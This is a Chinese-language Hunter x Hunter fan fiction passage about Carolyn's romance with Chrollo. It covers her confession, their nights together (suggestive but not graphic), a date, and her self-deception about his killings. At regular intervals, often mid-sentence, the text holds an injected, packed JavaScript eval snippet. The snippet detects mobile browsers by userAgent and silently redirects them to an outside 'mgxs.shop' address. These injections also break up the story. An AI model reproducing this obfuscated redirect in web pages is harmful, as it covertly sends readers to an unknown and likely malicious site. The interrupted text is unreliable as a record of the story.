卡洛琳的声音是软的,像每一次对他撒娇时一样。但她的眼睛是睁开的。在库洛洛看不到的背后,那双眼睛里没有期待,没有那种小鹿乱撞的忐忑,只是一片平静。 拒绝吧。 卡洛琳这么期待着。 拒绝吧,库洛洛。 你说“我们还是做朋友吧”,或者“我对你不是那种感情”,或者任何一句能够让她从这张绷得太紧的弦上解脱下来的话。 只要你说不,我就说没关系,自己知道是这样的,只是想说清楚。然后流几滴眼泪,伤心一会,然后一切照旧。 让自己在你的庇护下好好活着,活成你希望自己活成的样子。因为是你拒绝的,所以自己没有亏欠任何东西,可以心安理得地享受这一切。 库洛洛沉默了很久。久到卡洛琳几乎以为他没有听到。他的心脏在她的手臂下面跳动着,起初是平稳的,后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523318|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来变得快了一些,很快,快到她能清晰地数出那些急促的不规则的节拍。像有什么东西在他的胸腔里挣扎着想要出来,但被一层一层地压住了。 “好啊。” 两个字。声音不大,但很清楚。好像库洛洛已经等了很久,终于等到她开口。 卡洛琳的脑子里有什么东西断掉了,一阵天旋地转一般的眩晕感向她袭来。 她根本不知道自己是遗憾还是喜悦。也许都有。她希望库洛洛拒绝。因为被拒绝是最好的。 被拒绝之后,她可以继续做那个安全的不承担任何责任的只需要接受不需要付出的卡洛琳。 但库洛洛说了好。他把她所有准备好的借口都拆掉了,拆得干干净净,一根木头都不剩。 真是自私啊,库洛洛。 明明已经决定好要奉献自己的一生给旅团,给那个永远无法摆脱的使命,却还是会在这里,在这个灯光明亮的客厅里,说“好啊”。 你还是会考虑自己的幸福吗? 但自己有什么资格说他呢?她难道不是自私到想用告白来换取一辈子的心安理得吗? “库洛洛。”卡洛琳的声音显得轻快又喜悦,像一个情窦初开的少女。 “嗯。” “你心跳好快。” 是的,库洛洛的心跳隔着他的背肌和她的肋骨,咚、咚、咚,又重又快,像一只被困住的鸟在撞击笼子。 真是自私啊,库洛洛。 卡洛琳用手抬起库洛洛的头,吻了上去,不是额头,是嘴唇。 很轻,很短,像一只蝴蝶在花瓣上停了一下就飞走了。但卡洛琳的嘴唇离开的时候,她感觉到他的嘴唇微微张开了一条缝,像是要说什么,又像是什么都没来得及说。 于是卡洛琳重新吻上去,这一次重了一点,久了一点。她的手指穿过库洛洛的头发,从指缝间滑过去的时候像黑色绸缎。 库洛洛呼吸落在她的脸上,又热又急,真是不像库洛洛啊。 20. 温存 库洛洛不知道事情是怎么发展到这一步的,但又觉得事情没理由不发展到这一步。 一分钟前,也许是两分钟,他已经没有余裕去计算时间,他们还在接吻。卡洛琳的嘴唇贴着他的,柔软的,带着一点牙膏的薄荷味。 她的手指插在他的头发里,指腹蹭着他的头皮,那种酥麻的感觉从头顶一直蔓延到脊椎。库洛洛闭上眼睛,手搭在她的腰侧,隔着丝绒的面料感觉到她的体温。 然后卡洛琳的手开始往下。 她的指尖从他的头发里抽出来,滑过他的耳廓,沿着下颌线一路向下,落在他的领口。她的手指很灵巧,解开了他毛衣领口的第一颗扣子。她解得很慢,像是故意的。 库洛洛的手比他的大脑先做出反应。他捉住了她的手腕。卡洛琳的手指停在他的第二颗扣子上,没有继续,也没有抽开。 库洛洛看到她抬起头。她的嘴唇有点肿,口红早就被他蹭花了,嘴角晕开一小片红色的边界。她的眼睛是湿润的,瞳孔里映着他的脸,表情里有疑惑,有不解,还有一种让他心脏发紧的渴望。 “诶?”卡洛琳歪了一下头,有些不解,“不做到底吗?” 卡洛琳的另一只手从裙子的隐藏口袋里掏出一个小小的方形包装,在他面前晃了一下,她准备了,她居然准备了。 库洛洛觉得自己一贯高速运行大脑在这一刻彻底短路了。喉咙像被什么东西堵住了,发不出声音。 他甚至不确定自己想说什么。 不做?不是不想做。 做?他还没有准备好。他没有准备好任何东西。他的脑子里装着流星街的未来,旅团的计划,那些必须由他亲手完成的事情,但他没有装过这一刻。 “不,”库洛洛终于找回了声音,但那个声音沙哑得不像他自己,“不是不想……”库洛洛立刻觉得这句话说出来和“不想”也没有太大区别。库洛洛深吸了一口气,试图让自己的心率回到一个正常的范围,但失败了。 “我还没有准备好。” 卡洛琳看着库洛洛,用那双有点水雾的琥珀色眼睛就那么看着库洛洛,然后那双眼睛一点一点地弯了起来,好像看到了非常珍奇的一幕。 “那慢慢来。”卡洛琳心情突然变得格外愉悦。 库洛洛还没从气血上涌的状态回过神来,卡洛琳就凑过来,吻了一下他的嘴角,嘴唇停留的时间比刚才更久一点,像是在安抚什么。 然后开始往下。她的吻落在他的下巴上,落在他的喉结上,落在他的锁骨窝里。 库洛洛的呼吸越发急促。 她的嘴唇很软,很热,每一个吻都轻得像羽毛,但留下的是灼烧般的痕迹。她解开了他的第二颗扣子,第三颗。毛衣的领口敞开了,她的嘴唇贴上了他的锁骨,停留了一下,然后往下。 她对准他的锁骨轻轻吮了一下。库洛洛的手指在沙发扶手上收紧。 她的唇瓣划过他胸口的皮肤,带着那种让人头皮发麻的若有若无的湿度。她的手指按在他的腹肌上,指腹沿着肌肉的纹路慢慢地,一寸一寸地滑下去。 更下面。 库洛洛的呼吸彻底乱了。他的大脑在那一瞬间分裂成了两半,一半在尖叫着说“停下来”,另一半在说“不要停”。他的手悬在半空中,不知道该推开她还是抱住她。他的身体比他的大脑诚实得多,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523319|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有的血液都涌向了同一个地方,快到他来不及掩饰,甚至来不及感到羞耻。 库洛洛闭上了眼睛。他听到自己的心跳声在耳朵里轰鸣,像一个巨大的失控的鼓,敲得他整个人都在震。 他不能思考了。不能思考旅团的事情,不能思考流星街的事情,不想思考那些他在白天和夜晚都必须背负的东西。 他想留在这里,库洛洛自己都被自己的想法吓到了。但更让他害怕的是,他不想抵抗这个想法。 库洛洛睁开眼睛,低下头,看着卡洛琳。她趴在他的胸口,下巴抵着他的胸骨,仰着脸看他。她的头发散了,几缕碎发垂在脸侧,嘴唇还是红的。 库洛洛伸出手扣住她的后脑勺,把她拉上来。他吻了她。是他主动的,用力的,带着一点她已经把他逼到极限了所以现在换他了的意味。 他的手从她的头发滑到她的后背,拉住了她裙子背后的拉链。他的指尖碰到拉链头的时候顿了一下,像是在做最后的确认。卡洛琳没有躲,她甚至微微挺了一下背,让拉链更容易被拉下来。 库洛洛把拉链拉到了底。 他的手贴着她裸露的背脊,从肩胛骨一路滑到腰窝。她的皮肤是滚烫的,比他的掌心烫。 库洛洛索性站起来,一只手托着她的腰,一只手护着她的后脑勺,把她从沙发上抱起来。 卡洛琳比他想象中轻,她的手臂环着他的脖子,脸埋在他的肩窝里,呼吸落在他的锁骨上。他抱着她走过客厅,走进卧室。卡洛琳的后背碰到床单的时候缩了一下,然后慢慢舒展开来。她的头发散在白色的枕头上,深棕色的,像流淌的绸缎。 库洛洛俯下身。 21. 恐惧 卡洛琳醒来的时候,阳光已经从窗帘的缝隙里漏进来了。细细的一条,落在枕头边缘,再差一点就要刺到她的眼睛。她偏了一下头,躲开那道光。 她发现自己穿着熟悉的睡衣,一件纯棉的白色睡衣,领口有细小的蕾丝花边,卡洛琳低头看了一眼,扣子系得很整齐,一颗都没有扣错。被子盖到她的肩膀,被角掖得很好,像有人仔细地耐心地把她裹了起来。床单也是干净的,带着洗衣液淡淡的味道,不是昨晚的那条。 真是贴心啊,库洛洛。 身体里有某种残留的酸软的的知觉。大腿内侧,腰窝,锁骨下面。每一个被他碰过的地方都在用一种很低的音量向她汇报:昨晚的事,是真的。 而库洛洛就在自己身边,一直都在。 被子下面的腿贴着他的腿,膝盖抵着他的膝盖。她的后背靠着他的胸口,他的手臂从她腰侧绕过来,松松地搭在她的腹部。呼吸落在她的后颈,一下一下的,很轻,很均匀。他还睡着。 卡洛琳翻了个身。库洛洛的手臂从她腰侧滑到床单上,库洛洛睡着的时候眉头是舒展的,嘴唇微微闭着,睫毛很长,投下一小片扇形的阴影。呼吸从鼻翼两侧轻轻拂过她的额头,温热的,带着某种让人心跳加速的气息。 和库洛洛睡了。这件事如果用感叹号来标记,那应该是一个很大的感叹号。那可是库洛洛。幻影旅团的团长,库洛洛·鲁西鲁。 但此时此刻卡洛琳的心跳很平缓,呼吸很均匀,脑子里没有烟花,没有彩虹,没有任何一个小说里女主角在“第二天早上”应该有的剧烈情绪。 她甚至因为折腾了一晚上才醒还带的困倦打了个哈欠。 是因为太熟悉了吗?……难道自己真的没想过库洛洛会答应吗?否则自己何以准备齐全呢?难道自己真的没有过一丝心动吗? 真是过分啊,库洛洛。 卡洛琳在想这些有的没的的时候库洛洛他醒了。卡洛琳眨眨眼,还没从余韵中回过神来。 但库洛洛那双漆黑的瞳孔里没有刚睡醒的惺忪,而是清明的清醒的甚至带着某种卡洛琳已经很久没有在他脸上见过的脆弱。 卡洛琳再度眨眨眼,按照库洛洛原著里很擅长哄骗女生的设定,这种时候不应该说一些温存的调情的话吗?再怎么说他们现在也是正式的男女朋友关系吧。 下一刻,库洛洛抱住了她,不是那种温存的余韵悠长的拥抱,而是把她的整个身体拉进自己怀里,一只手按着她的后脑勺,一只手锁着她的腰,把她整个人都箍进自己的胸口。力道大得像怕她下一秒就会消失。 “很抱歉,我真的很抱歉。”声音很低,很沉,像从很深很深的井底传上来的回声。 卡洛琳看不到库洛洛的表情,但她能感觉到他的手指在她的后背收紧,把她的睡衣布料攥出了褶皱。库洛洛在发抖,很轻微,但她能感觉到。 为什么道歉? 卡洛琳完全想不通。库洛洛从流星街把她接出来,给她买了公寓,付了学费,每个月往她的银行卡里打钱,让她在阳光下面学画画,研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523320|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究做饭,喂校园里的猫。他给了她两辈子加起来都没有拥有过的安全和自由。 就算是库洛洛想要自己的命也是应该的呀。 卡洛琳搞不懂。但她怎么可能搞得懂库洛洛在想什么?他是那种六岁就能看懂古文明史,逻辑推演比成年人还缜密,做任何决定之前都会在脑子里预演一遍的人。 他们的智力差距从六岁就存在了,十几年过去,这道鸿沟没有被时间填平,反而越来越宽。 所以卡洛琳没有回答。她只是把脸从他的胸口抬起来,仰起头,吻上了他的嘴唇,单纯的像盖章一样印上去的吻。 库洛洛的睫毛颤了一下。他的表情还是茫然无措的,但那股不知道从哪里涌上来的无助,在这个吻之后,像被什么东西熨过一样,平了一点,只是平了一点。 卡洛琳把脸重新埋进他的胸口,听着他的心跳从快渐渐变慢,从混乱变得平稳。 卡洛琳没有问库洛洛为什么道歉,想不明白就不想了。 “库洛洛,让我再睡会。”卡洛琳的声音含混,像嘴里含着一颗化了一半的糖,还没有清醒的大脑在一番算得上烧脑的思考之后涌上一阵不可抗力的疲惫。 而且库洛洛的怀抱真的很温暖。 卡洛琳把他的手臂拉过来,重新搭在自己腰上。被子拉到下巴,缩了缩,找到了一个舒服的位置。 她的嘴唇还留着刚才吻他的触感。干的,有点起皮。卡洛琳在最后的清醒里想了想要不要告诉他多喝水,然后就什么都不知道了。 22. 清醒 卡洛琳真正清醒的时候,已经是中午了。 窗帘还是拉着的,只有底边那一线光,比早上宽了一些。卡洛琳下意识地翻了个身,手臂搭向旁边,床单是凉的。 库洛洛不在了。 卡洛琳心跳加快了一瞬间,然后坐起来,揉了揉眼睛,她的睡衣叠好了放在床尾,拖鞋并拢摆在床边。床头柜上什么都没有,没有纸条,没有消息,没有一个字。 什么都没有。 卡洛琳的头发散了一肩,她随意地理了理。还穿着那件库洛洛帮她换上的睡衣,领口有一小片皮肤露在外面,锁骨上有一个很淡很淡的痕迹,她低头看了一眼,然后把领口拉了上去。 然后,卡洛琳下了床,走向厨房,是的,她总得吃点东西啊。 打鸡蛋的时候还自然地想要不要煎两个。打开冰箱才想起来,不用煎两个了。油热了,鸡蛋倒进去,边缘卷起来,滋滋地响。卡洛琳把火调小了一点,站在灶台前等。 真是过分啊,都不说一点温存的话吗。 卡洛琳想起电视剧里的第二天早上,男人会从背后抱住正在煎蛋的女人,下巴搁在肩膀上,说一些让人起鸡皮疙瘩的话。 然后卡洛琳回过神来,煎蛋已经好了,只是边缘有点焦。她把蛋盛出来,放在盘子里,然后拿出面包机加热好的面包加了点番茄酱做了个简易版本的三明治,一个人坐在餐桌前。 忽然感觉有点委屈。 卡洛琳看着对面空椅子,觉得至少应该说一声再见的委屈。她以为库洛洛会等到她醒来的,会和她一起吃早餐的…… 什么都没有,好像昨晚的一切是一场她想太多的梦。 库洛洛在不久之前还站在公寓楼下,抬头看了一眼三楼的窗户。窗帘拉着的,什么也看不见。他站了一会儿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523321|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >库洛洛在卡洛琳睡着的时候在床边坐了很久,看着她的睡脸。卡洛琳睡着的时候很安静,嘴巴微微张开一条缝,呼吸很浅。头发散在枕头上,有几缕落在脸上,库洛洛于是伸手帮她拨开。 库洛洛想留下来。想等她醒了之后抱她一下,然后继续抱着,不松手。想把这个周末过完,想把她下周要交的作业问清楚,想陪她去超市买菜,想在她画画的时候坐在旁边,什么都不做,就坐着。这些念头像一群鸟,忽然从某个地方飞出来,铺天盖地的,翅膀扇动的声音大到他听不见别的东西。 所以他只能走了。 卡洛琳不知道这些,她吃完后就把盘子洗了,碗倒扣在沥水架上。然后她拿起手机看了一眼,没有新消息。于是把手机放下,走到窗边,拉开了窗帘。阳光一下子涌进来,刺得她眯了眯眼。 楼下的街道行人来来往往,但是没有她认识的身影。 23. 释然 洗衣机开始注水。哗哗的声音填满了整个卫生间,卡洛琳把洗衣液倒进小槽里,盖子合上,设定好程序。面板上的数字跳了一下,开始倒计时。 洗衣机嗡嗡地转着,透明的圆窗里能看到泡沫和水混在一起,她的衣服和床单在里面翻滚。她蹲在洗衣机前看了一会儿,就觉得刚才的自己挺可笑的。 有什么资格委屈呢。 她现在住的这间公寓,阳光能照进来的有白色木门和铜色钥匙的公寓,是库洛洛给的。 她上的那所大学,不用考试不用绩点只要她愿意就能一直读下去的大学,是库洛洛安排的。 她现在所有的一切,都是库洛洛给的。 卡洛琳靠在洗衣机旁边,看着滚筒慢慢转起来。 而且她接近库洛洛的初衷,从来就不是纯粹的。她知道他以后会成为幻影旅团的团长。这笔买卖太划算了,划算到卡洛琳偶尔会觉得心虚,然后很快就不心虚了,因为她告诉自己,穿越本来就是她的金手指,不用白不用。 再说,她有什么呢。没有惊人的美貌,也就算得上五官端正看起来挺清秀这样,没有深邃的思想,库洛洛和她讨论任何稍微深一点的话题她都接不住。面对残酷的现实只会逃避。上辈子逃避到加班里,加到自己猝死。这辈子逃避到库洛洛的羽翼下,心安理得地享受着一切,不去想那些她改变不了的事情。萨拉萨死的时候她什么都没做,连找都没有去找,因为不想看到惨状。这不是逃避是什么。 像库洛洛这样的人,怎么想都不可能真心爱上自己吧,自己对库洛洛来说或许只是一种慰藉而已吧。 卡洛琳想到这里,没有觉得失落。反而觉得这才是应该的。她从来没有幻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523322|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想过自己是那种会被天才深深爱上的女主角。她所有的幸福都来自这些侥幸,而不是因为她值得。 卡洛琳从洗衣机旁边站起来,走回客厅。洗衣机还在转,嗡嗡的声音从卫生间传过来。 她拿起沙发上的手机,屏幕亮了,没有新消息。她点开和库洛洛的对话框,上一次的消息还是她昨天发的“有很重要的事情对你说”和他回的那个“好”。卡洛琳盯着屏幕看了一会儿,然后开始打字。 “工作一定很辛苦吧,要注意休息。” 发送好之后就把手机放下,窗台上的花该换水了,于是卡洛琳起身去阳台。 她应该对库洛洛表示关心,而不是在这里矫情地委屈地因为他不告而别就在心里埋怨他。他替她扛了那么多东西,她连一句“辛苦”都不说,还在计较什么温存不温存的,太不像话了。 24. 赝作 库洛洛来的时候,卡洛琳正在画一幅怎么都有点不对的素描。 卡洛琳知道库洛洛来了,干脆利落地把画本合上,从沙发上站起来,走过去抱住库洛洛。他身上的外套带着外面的凉意,但里面是暖的。她把脸贴在他的胸口,听了一会儿他的心跳,然后拉着他在沙发上坐下,自己窝进他怀里。他的手臂自然地环过来,手指搭在她的腰侧。 “学校有一门赝作课,”卡洛琳自然地聊起学校的事情,“为期一年。每个人选一个历史上的名家,临摹他的作品,期末的时候要交一幅足以乱真的赝作。” 库洛洛的手指在她腰侧停了一下。 “这么说来,”库洛洛的声音从她的头顶传下来,带着一点若有所思的低沉的质感,“艺术就是生活的赝品。” 卡洛琳眨了一下眼。她想了想,又想了想,没有想通。她不知道这句话是什么意思,也不知道他是怎么从“赝作课”跳到“艺术就是生活的赝品”的。两条线在她脑子里绕了两圈,没有接上,各自散了。于是她顺理成章地放弃了。 上辈子她养过猫。加完班回到家,猫在门口等她。她把脸埋进猫的肚子里,毛茸茸的,暖呼呼的。猫会呼噜,会蹭她的手,会用脑袋顶她的下巴。 她不需要向猫证明自己有价值。她只需要抱着它,摸它的毛,听它呼噜。对她的那些同事来说,养宠物大概也是这样。回到家有一个活的东西在等你。摸一摸,一天的疲惫就散了大半。 卡洛琳觉得库洛洛大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523323|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概也是这个意思。 但她一点都不觉得难过。如果库洛洛很信任她,让她加入旅团,让她去杀人,她才是真的会受不了。她连qq空间里面流行的小视频都不敢看,怎么可能拿刀对着一个活人。 库洛洛有私心,但如果他没有私心自己也不会有现在的幸福生活。 其实想开了也就是这么一回事嘛,如果继续留在流星街,那蚂蚁来的时候怎么办? 卡洛琳从库洛洛的怀里直起身,亲了上去。 嘴唇碰着嘴唇,停了一会儿,然后加深。库洛洛的呼吸重了一点,手从她的腰侧滑到她的后背,指尖隔着薄薄的毛衣贴着她的脊椎。卡洛琳感觉到他的身体一点一点地放松下来,像一块冰在温水里慢慢融化。 25. 没有答案的问题 床头灯亮着,橘黄色的,光线只够照亮他们两个人的轮廓。被子堆在腰际,卡洛琳深棕色的头发散在枕头上,库洛洛侧躺着,一只手撑着自己的头,另一只手放在她的腰侧。 库洛洛看着她,看了很久。 卡洛琳感觉到了那道目光,转过头来。库洛洛的表情和刚做完的时候不一样。刚才他是专注的投入的眼睛里只有她一个人的。现在他的眼睛里多了一层东西,说不上来是什么,执拗,或者不甘,或者一种她很少在库洛洛脸上看到的有些脆弱的认真。 “卡洛琳,”库洛洛的声音很轻。卡洛琳含混地应了一声,没有动,好吧,卡洛琳在想为什么库洛洛做完不能说一点哄人的花言巧语,就非得要思考点有深度的东西呢?“你为什么什么都不问呢?” “问什么?”卡洛琳的声音闷闷的,一半还留在枕头里。 “问我究竟在做什么。问我对你有什么规划。问我们以后会怎样。” 卡洛琳的脑子转得很慢。事后的大脑像泡了水的棉花,什么都沉不下去,什么也浮不上来。 这能问吗? 卡洛琳知道他在做什么。但她不能说自己知道。这是他们之间不需要说清楚的事情。她不明白库洛洛为什么要在这个时候,在这种氛围里,把这些原本不需要说清楚的事情翻出来。 明知道答案是什么,却非要问出来,好像问出来答案就会变一样。 库洛洛在做什么?杀人,杀很多很多的人。 他们的未来?卡洛琳知道原作剧情,旅团的结局不会太好。 卡洛琳能说什么呢?她什么都说不出口。 但在她想出怎么开口之前,库洛洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523324|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先说话了。 “抱歉,”库洛洛声音比刚才更低了一些,“我不该这么说的。” 库洛洛的手臂收紧了一点,把她往自己的方向带了带。卡洛琳的脸贴上了他的胸口,能感觉到他的心跳,比刚才快了一些。 “只是我觉得……你可以更多地依赖我,”库洛洛的下巴抵在她的头顶,声音从她的上方落下来,低沉沙哑的声音透露着一点茫然,“无理取闹一点也可以。” 卡洛琳没有动。她贴着他的胸口,听着他的心跳一点一点慢下来。 一种莫名地冲动堵在卡洛琳的喉咙,她想说:那你呢?你抛下流星街,抛下旅团,不管那些事情了,和我一起在这里生活不行吗? 但她知道不可能的。她也知道库洛洛知道不可能的。他知道,但他还是问了,为什么什么都不问。 26. 约会 甜品店开在学校的西门外,走路过去只需要一刻钟。 卡洛琳点了一份杨枝甘露和一份芒果糯米糍,库洛洛只要了一杯冰美式。店员看了他们一眼,大概觉得这个组合很奇怪,哪有男人陪女朋友来甜品店只喝美式的。 卡洛琳舀了一勺杨枝甘露送进嘴里,还是熟悉的酸甜口感。 库洛洛端起咖啡喝了一口。他今天穿了一件白色衬衫,袖子卷到手肘,坐在这家装修粉嫩的甜品店里显得格格不入,但他看着卡洛琳吃,嘴角有一点很浅的弧度。 “你要不要尝一口?” “不用。” “尝一口嘛。” 卡洛琳舀了一勺伸到他面前,勺子碰到库洛洛的嘴唇。 库洛洛顺从地张开了嘴。甜,太甜了。他的眉头皱了一下,但咽下去了。 卡洛琳笑着收回勺子,又舀了一勺塞进自己嘴里。旁边桌的女生偷偷看了库洛洛好几眼,卡洛琳注意到了,没有说什么。 库洛洛的假身份是一名记者。做得非常完善,有工牌,有稿费单,有编辑部团建时拍的合影,甚至还有几年前发在地方小报上的豆腐块文章。卡洛琳如果不是穿越者,她根本看不出一点破绽。但卡洛琳是穿越者,她知道这具完美的皮囊下面是什么。不过她不打算戳破,也没有任何必要戳破。 卡洛琳叉起一颗芒果,嚼了两下,托着下巴看着库洛洛。 在库洛洛情绪上头的时候,她就装。装不懂,装贴心,装阳光,装觉得现在的生活很好。这并不难,因为现在的生活确实很好。 库洛洛好像有点不太习惯卡洛琳过于直白的注视,低头喝着咖啡。 “我想去吃上次那家舒芙蕾,就是排队排很久的那家,”卡洛琳很自然地用带着点撒娇的语气开口。人就是这么回事啊,只要事情没有亲眼看到那就可以当做没发生,库洛洛又没有在自己面前杀过人,卡洛琳看着库洛洛那张俊美的脸只会想真好看,而不是简直是个恶魔这样,“今天周三,人应该不多。” “那吃完舒芙蕾呢?”库洛洛接话,“你想去哪。” 卡洛琳歪着头想了想。她的头发从肩上滑下来,垂在脸侧。库洛洛伸手把那缕头发别到她耳后,温热的指尖擦过她的耳廓。 “展览吧,上次路过那个美术馆,门口的海报还没撤。好像是……印象派的什么展。” “好。” 卡洛琳因为这段对话实在是太过于正常都恍惚了一下,使劲眨了眨眼,这真的不是幻觉吗? 舒芙蕾店在商场的地下一层,果然人不多。卡洛琳点了原味的,库洛洛依然什么都没点,坐在对面看她吃。 “你也吃一口嘛。”卡洛琳又把勺子举过去了。这一次库洛洛没有犹豫,直接吃了。 啊,这样一来,不就完全是普通情侣普通约会一样了嘛。 “走啦走啦,去看展览吧。” 卡洛琳自然地拉起库洛洛的手,因为库洛洛外表实在是太无害了,以至于卡洛琳即使理智上知道库洛洛杀人不眨眼都没办法有什么恐惧疏远之类的正常情绪。 不过,说起来自己居然是知道库洛洛很会杀人才主动接近库洛洛的……现在想想,的确有点奇怪啊。 卡洛琳一放松下来就会想些有的没的。 美术馆的印象派展比想象中大。 卡洛琳一幅一幅地看过去,大部分作品她都叫不上名字,只知道莫奈画睡莲,梵高画向日葵。她看得很快,因为看不懂。但她会假装看得很认真,在一幅画前面站一会儿,歪歪头,退后两步,再走近一点。这些都是她从老师里学来的看展姿势。库洛洛走在她旁边,偶尔在她耳边说一两句关于画家或创作背景的话。他的声音很低,怕打扰到别人,他的气息落在她的耳廓上,痒痒的麻麻的。 卡洛琳听一半漏一半。莫奈的什么什么时期,光影的处理,笔触的变化。她听进去了,但没有留在脑子里。反正库洛洛也不是真的在教她,他只是习惯性地在分享他知道的东西。他知道很多东西,她不知道很多东西,这个差距从六岁就开始了,到现在没有缩小过,卡洛琳早就接受了。 一想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523325|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到杀人不眨眼的强盗头子艺术鉴赏水平还挺高,卡洛琳居然噗嗤一声笑了出来。 “有什么好笑的?”库洛洛是真的有些疑惑。 “一想到我现在真的和你在一起,就会不由自主地开心啦。”卡洛琳这说的倒是真话,说实话,卡洛琳是有些钝感力在的,只要事情没有真正的到面前就能装作不知道。 卡洛琳一看到库洛洛的眼神变得幽深,就不由自主地咯噔了一下,库洛洛肯定又在想什么很深奥的问题了。 一念至此,卡洛琳踮起脚尖,亲了亲库洛洛的嘴角,真的很软诶。 “库洛洛,这幅画你怎么看?”卡洛琳及时地转移话题,她实在是不想在约会的时候和库洛洛探讨什么人生哲学之类的话题。 库洛洛抿了抿嘴角,没有接话,反而在沉默了一会之后,在卡洛琳疑惑的目光中吻了上去。 反倒是卡洛琳先推开了库洛洛,这可是人来人往的美术馆展览,她还没有大胆到可以坦然接受众人异样眼光的地步。 库洛洛倒是面色如常,主动牵起了卡洛琳的手,好像什么都没有发生过一样接着讲解。 “库洛洛。” “嗯。” “你下次什么时候来?” 卡洛琳等了几秒,有点后悔问这个问题。她不想让他觉得她在催他,在给他压力,在问那些“你对我有什么规划”之类的问题。但她真的只是想知道他下次什么时候来。 “下周,可能周三。” “嗯。” “那天下课后我来接你。” “去哪?” “你想去哪就去哪。” 卡洛琳听见了自己心脏清晰地跳动着,一下接着一下的。 多么完美的男友啊。又俊美又多金。体贴,聪明,陪她做她想做的任何事。在床上的进步也快得离谱,无论从哪方面都无可挑剔的完美男友。 要是自己什么都不知道就好了。不知道他是库洛洛·鲁西鲁,不知道幻影旅团…… 要是自己真的什么都不知道就好了。 27. 残酷的底色 天空竞技场。 